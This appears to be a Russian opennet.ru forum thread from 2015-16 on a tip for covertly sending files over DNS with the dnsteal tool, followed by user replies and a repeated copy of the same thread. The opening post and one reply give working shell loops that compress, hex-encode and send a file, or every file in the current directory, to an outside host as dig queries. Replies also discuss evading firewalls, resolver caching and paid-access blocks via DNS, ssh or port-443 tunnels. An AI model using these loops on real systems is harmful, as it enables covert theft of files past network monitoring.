forum.opennet.ru - "Раздел полезных советов: Скрытая отправка файлов через DNS" (25)

форумы

помощь

поиск

регистрация

вход/выход

слежка

"Раздел полезных советов: Скрытая отправка файлов через DNS"

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Раздел полезных советов: Скрытая отправка файлов через DNS"	+/–
Сообщение от auto_tips on 10-Окт-15, 23:12
В рамках проекта https://github.com/m57/dnsteal развивается фиктивный DNS-сервер, позволяющий организовать скрытую отправку файлов по протоколу DNS, используя штатные системные утилиты резолвинга. Для уменьшения трафика поддерживается сжатие передаваемого содержимого. Запускаем сервер ("-z" - включает сжатие): python dnsteal.py 192.168.1.1 -z Для отправки файла send.txt на внешний хост 192.168.1.1, на котором запущен dnsteal, достаточно выполнить: for b in $(gzip -c send.txt \| xxd -p); do dig @192.168.1.1 $b.filename.com; done Для отправки всех файлов из текущей директории for filename in $(ls); do for b in $(gzip -c $filename \| xxd -p); do dig +short @192.168.1.1 %b.$filename.com; done; done URL: Обсуждается: https://www.opennet.ru/tips/info/2922.shtml
Ответить \| Правка \| Cообщить модератору

Оглавление

Скрытая отправка файлов через DNS, a9a83j43nja09gje, 23:12 , 10-Окт-15, (1)
Скрытая отправка файлов через DNS, fleonis, 12:58 , 11-Окт-15, (2)
Скрытая отправка файлов через DNS, Nas_tradamus, 15:37 , 11-Окт-15, (3)

Скрытая отправка файлов через DNS, Аноним, 20:49 , 11-Окт-15, (4)

Скрытая отправка файлов через DNS, анонимаус, 10:56 , 27-Окт-15, (19)

Скрытая отправка файлов через DNS, Pahanivo, 15:11 , 24-Ноя-15, (22)

Скрытая отправка файлов через DNS, AdVv, 15:43 , 30-Июн-16, (24)

Скрытая отправка файлов через DNS, Crazy Alex, 21:03 , 12-Окт-15, (5)

Скрытая отправка файлов через DNS, Аноним, 13:10 , 14-Окт-15, (6)

Скрытая отправка файлов через DNS, Виталий, 12:33 , 15-Окт-15, (7)

Скрытая отправка файлов через DNS, Alex, 22:28 , 15-Окт-15, (8)

Скрытая отправка файлов через DNS, НьюВасюковец, 13:24 , 26-Окт-15, (17)

Скрытая отправка файлов через DNS, YetAnotherOnanym, 15:23 , 16-Окт-15, (9)
Скрытая отправка файлов через DNS, Аннонним, 05:58 , 17-Окт-15, (10)

Скрытая отправка файлов через DNS, pavlinux, 01:52 , 18-Окт-15, (11)

Скрытая отправка файлов через DNS, count0krsk, 06:29 , 18-Окт-15, (12)

Скрытая отправка файлов через DNS, Аноним, 22:04 , 20-Ноя-15, (20)

Скрытая отправка файлов через DNS, Анонимус III, 11:05 , 18-Окт-15, (13)

Скрытая отправка файлов через DNS, Мимо проходил, 09:45 , 20-Окт-15, (14)

Скрытая отправка файлов через DNS, pavlinux, 01:27 , 23-Окт-15, (16)
Скрытая отправка файлов через DNS, НьюВасюковец, 13:28 , 26-Окт-15, (18)

Скрытая отправка файлов через DNS, Аноним, 12:17 , 22-Окт-15, (15)

Скрытая отправка файлов через DNS, DmA, 10:25 , 22-Ноя-15, (21)

Скрытая отправка файлов через DNS, nuclight, 14:29 , 27-Ноя-15, (23)

Скрытая отправка файлов через DNS, freehck, 15:50 , 03-Ноя-16, (25)

Сообщения по теме [Сортировка по времени | RSS]

1. "Скрытая отправка файлов через DNS" +/–

Сообщение от a9a83j43nja09gje on 10-Окт-15, 23:12

текущая версия на гитхабе не заработала) заработал форк там же на гитхабе, файл 1 мб отправлялся больше 6 часов, так и не отправился) надо было идти домой
идея не нова, но интересно и доступно!)

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

2. "Скрытая отправка файлов через DNS" +/–

Сообщение от fleonis (ok) on 11-Окт-15, 12:58

в смысле отправить файл, замаскировав его под обычный dns запрос?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

3. "Скрытая отправка файлов через DNS" +/–

Сообщение от Nas_tradamus (ok) on 11-Окт-15, 15:37

Но есть же iodine для более коварных вещей.
Тестил - работает. Эта штука позволяет заворачивать весь ipv4-трафиик через DNS.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

4. "Скрытая отправка файлов через DNS" +/–

Сообщение от Аноним (??) on 11-Окт-15, 20:49

> Но есть же iodine для более коварных вещей.
Вся прелесть предложенного решения в том, что на клиенте достаточно обычного shell и любой штатной утилиты типа dig для резолвинга. В  iodine  нужно ставить специального клиента, что сводит на нет всю "скрытность" действий на клиентской системе.

Ответить | Правка | ^ к родителю #3 | Наверх | Cообщить модератору

19. "Скрытая отправка файлов через DNS" +/–

Сообщение от анонимаус on 27-Окт-15, 10:56

администраторам localnet чтоли?
вся прелесть iodine в том, что он работает и за firewall (и wifi, не авторизовавшись, но те которые резолвят внешние имена), кто же вас пустит на внешний сервер напрямую (dig @server) из сети, которая за firewall ?

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

22. "Скрытая отправка файлов через DNS" +/–

Сообщение от Pahanivo (ok) on 24-Ноя-15, 15:11

вот именно, что вся эта бредовая идея идет в опу, если админ держить днс на шлюзе и фильтрует внешние, а он скорей всего так и делает.

Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

24. "Скрытая отправка файлов через DNS" +/–

Сообщение от AdVv (ok) on 30-Июн-16, 15:43

Наводящий вопрос: откуда "днс на шлюзе местного админа" берет информацию о неизвестных доменных адресах ?

Ответить | Правка | ^ к родителю #22 | Наверх | Cообщить модератору

5. "Скрытая отправка файлов через DNS" +/–

Сообщение от Crazy Alex (ok) on 12-Окт-15, 21:03

Добавили бы fold чтобы не по одному байту посылать, а по 10, например:
for b in $(gzip -c send.txt | xxd -p |fold -b10); do dig @192.168.1.1 $b.filename.com; done

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

6. "Скрытая отправка файлов через DNS" +/–

Сообщение от Аноним (??) on 14-Окт-15, 13:10

Это у вас такой странных xxd. Опция -p как раз и нужна для того, чтобы не разделять байты. Разделение происходит на длинные строки.

Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

7. "Скрытая отправка файлов через DNS" +/–

Сообщение от Виталий (??) on 15-Окт-15, 12:33

dig @192.168.1.1
так если у вас открыт порт на удаленном сервере - можно все что угодно. вот если бы  dig @днспровайдера\конторы\которая не выпускает ничего больше как через Собственных днс сервре ....
в общем костыль к квадратному колесу

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

8. "Скрытая отправка файлов через DNS" +/–

Сообщение от Alex (??) on 15-Окт-15, 22:28

Элементарно, ватсон. Чуть переписываете шеловую команду (префиксуете байты, чтобы от кеширования уйти), и она с удовольствием шлёт резолвы через любую цепочку резолверов к вашему домену.

Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

17. "Скрытая отправка файлов через DNS" +/–

Сообщение от НьюВасюковец on 26-Окт-15, 13:24

Без примера -это просто трепология.

Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

9. "Скрытая отправка файлов через DNS" +/–

Сообщение от YetAnotherOnanym (ok) on 16-Окт-15, 15:23

А зачем писать отдельный демон, когда можно просто прогрепать логи бинда (или кто там крутится) и вытащить фрагменты из сообщений об ошибках? А ещё вопрос - если у провайдера несколько роутов к целевому хосту и запросы прибудут не в том порядке, в каком они были отправлены - с этим что делать?

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

10. "Скрытая отправка файлов через DNS" +/–

Сообщение от Аннонним on 17-Окт-15, 05:58

Подумал халявный интернет изобрели, оказалось нет - 6 часов, пусть даже на файл 1 мб, это слишком долго.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

11. "Скрытая отправка файлов через DNS" +/–

Сообщение от pavlinux (ok) on 18-Окт-15, 01:52

У нормального провайдера, с неоплаченным инетом, запросы дальше фаервола не ходят.

Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

12. "Скрытая отправка файлов через DNS" +/–

Сообщение от count0krsk (ok) on 18-Окт-15, 06:29

Так и есть. Даже днс-запросы режут, не говоря о пингах. Причем ВСЕ провайдеры, с которыми сталкивался. Исключение - пиринговые ресурсы. Они работают свободно. А т.к. в городском пиринге почти все провайдеры, просто поднимается прокся у другого прова, и через неё работаете, если лень платить идти. Ещё можно так с работы сидеть в необрезанном инете, если вы - кодер, а злой админ закрыл вконтактик.

Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

20. "Скрытая отправка файлов через DNS" +/–

Сообщение от Аноним (??) on 20-Ноя-15, 22:04

Если вы кодер, а злой админ закрыл вконтактик, то что вам мешает пробросить ssh-tunnel?

Ответить | Правка | ^ к родителю #12 | Наверх | Cообщить модератору

13. "Скрытая отправка файлов через DNS" +/–

Сообщение от Анонимус III on 18-Окт-15, 11:05

У моего провайдера с неоплаченным интернетом работал сайт провайдера. А на сайте провайдера была бесплатная почта, ящик 10 МБ. И через POP3/IMAP/SMTP она тоже была доступна. Запустил на работе демона, который по почте получал URL, скачивал его, разбивал на куски размером 10 МБ и отсылал на тот бесплатный ящик. А дома другой демон доставал куски из ящика и собирал воедино. Недели три так сидел, из спортивного интереса.

Ответить | Правка | ^ к родителю #11 | Наверх | Cообщить модератору

14. "Скрытая отправка файлов через DNS" +/–

Сообщение от Мимо проходил on 20-Окт-15, 09:45

А можно поподробней про реализацию?

Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

16. "Скрытая отправка файлов через DNS" +/–

Сообщение от pavlinux (ok) on 23-Окт-15, 01:27

> А можно поподробней про реализацию?
До макдональца быстрее добежать.

Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

18. "Скрытая отправка файлов через DNS" +/–

Сообщение от НьюВасюковец on 26-Окт-15, 13:28

> А можно поподробней про реализацию?
таких примеров жопой жуй
http://habrahabr.ru/post/65322/

Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

15. "Скрытая отправка файлов через DNS" +/–

Сообщение от Аноним (??) on 22-Окт-15, 12:17

прям как Столман

Ответить | Правка | ^ к родителю #13 | Наверх | Cообщить модератору

21. "Скрытая отправка файлов через DNS" +/–

Сообщение от DmA (??) on 22-Ноя-15, 10:25

лучше бы придумали как DNS пакеты нельзя было ни подменить, ни посмотреть что там внутри ходит...

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

23. "Скрытая отправка файлов через DNS" +/–

Сообщение от nuclight (??) on 27-Ноя-15, 14:29

dnscrypt от djb сто лет как

Ответить | Правка | ^ к родителю #21 | Наверх | Cообщить модератору

25. "Скрытая отправка файлов через DNS" +/–

Сообщение от freehck (ok) on 03-Ноя-16, 15:50

Имхо легче туннель через 443й порт повесить, используя, скажем, sslh. 443й обычно открыт, а что ты там внутри туннеля шлёшь никто всё равно не прочитает. А 53й с весьма большой вероятностью может быть и закрыт.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. "Скрытая отправка файлов через DNS"	+/–
Сообщение от a9a83j43nja09gje on 10-Окт-15, 23:12
текущая версия на гитхабе не заработала) заработал форк там же на гитхабе, файл 1 мб отправлялся больше 6 часов, так и не отправился) надо было идти домой идея не нова, но интересно и доступно!)
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору

2. "Скрытая отправка файлов через DNS"	+/–
Сообщение от fleonis (ok) on 11-Окт-15, 12:58
в смысле отправить файл, замаскировав его под обычный dns запрос?
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору

3. "Скрытая отправка файлов через DNS"	+/–
Сообщение от Nas_tradamus (ok) on 11-Окт-15, 15:37
Но есть же iodine для более коварных вещей. Тестил - работает. Эта штука позволяет заворачивать весь ipv4-трафиик через DNS.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	4. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от Аноним (??) on 11-Окт-15, 20:49
	> Но есть же iodine для более коварных вещей. Вся прелесть предложенного решения в том, что на клиенте достаточно обычного shell и любой штатной утилиты типа dig для резолвинга. В iodine нужно ставить специального клиента, что сводит на нет всю "скрытность" действий на клиентской системе.
	Ответить \| Правка \| ^ к родителю #3 \| Наверх \| Cообщить модератору


	19. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от анонимаус on 27-Окт-15, 10:56
	администраторам localnet чтоли? вся прелесть iodine в том, что он работает и за firewall (и wifi, не авторизовавшись, но те которые резолвят внешние имена), кто же вас пустит на внешний сервер напрямую (dig @server) из сети, которая за firewall ?
	Ответить \| Правка \| ^ к родителю #4 \| Наверх \| Cообщить модератору


	22. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от Pahanivo (ok) on 24-Ноя-15, 15:11
	вот именно, что вся эта бредовая идея идет в опу, если админ держить днс на шлюзе и фильтрует внешние, а он скорей всего так и делает.
	Ответить \| Правка \| ^ к родителю #19 \| Наверх \| Cообщить модератору


	24. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от AdVv (ok) on 30-Июн-16, 15:43
	Наводящий вопрос: откуда "днс на шлюзе местного админа" берет информацию о неизвестных доменных адресах ?
	Ответить \| Правка \| ^ к родителю #22 \| Наверх \| Cообщить модератору

5. "Скрытая отправка файлов через DNS"	+/–
Сообщение от Crazy Alex (ok) on 12-Окт-15, 21:03
Добавили бы fold чтобы не по одному байту посылать, а по 10, например: for b in $(gzip -c send.txt \| xxd -p \|fold -b10); do dig @192.168.1.1 $b.filename.com; done
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	6. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от Аноним (??) on 14-Окт-15, 13:10
	Это у вас такой странных xxd. Опция -p как раз и нужна для того, чтобы не разделять байты. Разделение происходит на длинные строки.
	Ответить \| Правка \| ^ к родителю #5 \| Наверх \| Cообщить модератору

7. "Скрытая отправка файлов через DNS"	+/–
Сообщение от Виталий (??) on 15-Окт-15, 12:33
dig @192.168.1.1 так если у вас открыт порт на удаленном сервере - можно все что угодно. вот если бы dig @днспровайдера\конторы\которая не выпускает ничего больше как через Собственных днс сервре .... в общем костыль к квадратному колесу
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	8. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от Alex (??) on 15-Окт-15, 22:28
	Элементарно, ватсон. Чуть переписываете шеловую команду (префиксуете байты, чтобы от кеширования уйти), и она с удовольствием шлёт резолвы через любую цепочку резолверов к вашему домену.
	Ответить \| Правка \| ^ к родителю #7 \| Наверх \| Cообщить модератору


	17. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от НьюВасюковец on 26-Окт-15, 13:24
	Без примера -это просто трепология.
	Ответить \| Правка \| ^ к родителю #8 \| Наверх \| Cообщить модератору

9. "Скрытая отправка файлов через DNS"	+/–
Сообщение от YetAnotherOnanym (ok) on 16-Окт-15, 15:23
А зачем писать отдельный демон, когда можно просто прогрепать логи бинда (или кто там крутится) и вытащить фрагменты из сообщений об ошибках? А ещё вопрос - если у провайдера несколько роутов к целевому хосту и запросы прибудут не в том порядке, в каком они были отправлены - с этим что делать?
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору

10. "Скрытая отправка файлов через DNS"	+/–
Сообщение от Аннонним on 17-Окт-15, 05:58
Подумал халявный интернет изобрели, оказалось нет - 6 часов, пусть даже на файл 1 мб, это слишком долго.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	11. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от pavlinux (ok) on 18-Окт-15, 01:52
	У нормального провайдера, с неоплаченным инетом, запросы дальше фаервола не ходят.
	Ответить \| Правка \| ^ к родителю #10 \| Наверх \| Cообщить модератору


	12. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от count0krsk (ok) on 18-Окт-15, 06:29
	Так и есть. Даже днс-запросы режут, не говоря о пингах. Причем ВСЕ провайдеры, с которыми сталкивался. Исключение - пиринговые ресурсы. Они работают свободно. А т.к. в городском пиринге почти все провайдеры, просто поднимается прокся у другого прова, и через неё работаете, если лень платить идти. Ещё можно так с работы сидеть в необрезанном инете, если вы - кодер, а злой админ закрыл вконтактик.
	Ответить \| Правка \| ^ к родителю #11 \| Наверх \| Cообщить модератору


	20. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от Аноним (??) on 20-Ноя-15, 22:04
	Если вы кодер, а злой админ закрыл вконтактик, то что вам мешает пробросить ssh-tunnel?
	Ответить \| Правка \| ^ к родителю #12 \| Наверх \| Cообщить модератору


	13. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от Анонимус III on 18-Окт-15, 11:05
	У моего провайдера с неоплаченным интернетом работал сайт провайдера. А на сайте провайдера была бесплатная почта, ящик 10 МБ. И через POP3/IMAP/SMTP она тоже была доступна. Запустил на работе демона, который по почте получал URL, скачивал его, разбивал на куски размером 10 МБ и отсылал на тот бесплатный ящик. А дома другой демон доставал куски из ящика и собирал воедино. Недели три так сидел, из спортивного интереса.
	Ответить \| Правка \| ^ к родителю #11 \| Наверх \| Cообщить модератору


	14. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от Мимо проходил on 20-Окт-15, 09:45
	А можно поподробней про реализацию?
	Ответить \| Правка \| ^ к родителю #13 \| Наверх \| Cообщить модератору


	16. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от pavlinux (ok) on 23-Окт-15, 01:27
	> А можно поподробней про реализацию? До макдональца быстрее добежать.
	Ответить \| Правка \| ^ к родителю #14 \| Наверх \| Cообщить модератору


	18. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от НьюВасюковец on 26-Окт-15, 13:28
	> А можно поподробней про реализацию? таких примеров жопой жуй http://habrahabr.ru/post/65322/
	Ответить \| Правка \| ^ к родителю #14 \| Наверх \| Cообщить модератору


	15. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от Аноним (??) on 22-Окт-15, 12:17
	прям как Столман
	Ответить \| Правка \| ^ к родителю #13 \| Наверх \| Cообщить модератору

21. "Скрытая отправка файлов через DNS"	+/–
Сообщение от DmA (??) on 22-Ноя-15, 10:25
лучше бы придумали как DNS пакеты нельзя было ни подменить, ни посмотреть что там внутри ходит...
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору


	23. "Скрытая отправка файлов через DNS"	+/–
	Сообщение от nuclight (??) on 27-Ноя-15, 14:29
	dnscrypt от djb сто лет как
	Ответить \| Правка \| ^ к родителю #21 \| Наверх \| Cообщить модератору

25. "Скрытая отправка файлов через DNS"	+/–
Сообщение от freehck (ok) on 03-Ноя-16, 15:50
Имхо легче туннель через 443й порт повесить, используя, скажем, sslh. 443й обычно открыт, а что ты там внутри туннеля шлёшь никто всё равно не прочитает. А 53й с весьма большой вероятностью может быть и закрыт.
Ответить \| Правка \| ^ к родителю #0 \| Наверх \| Cообщить модератору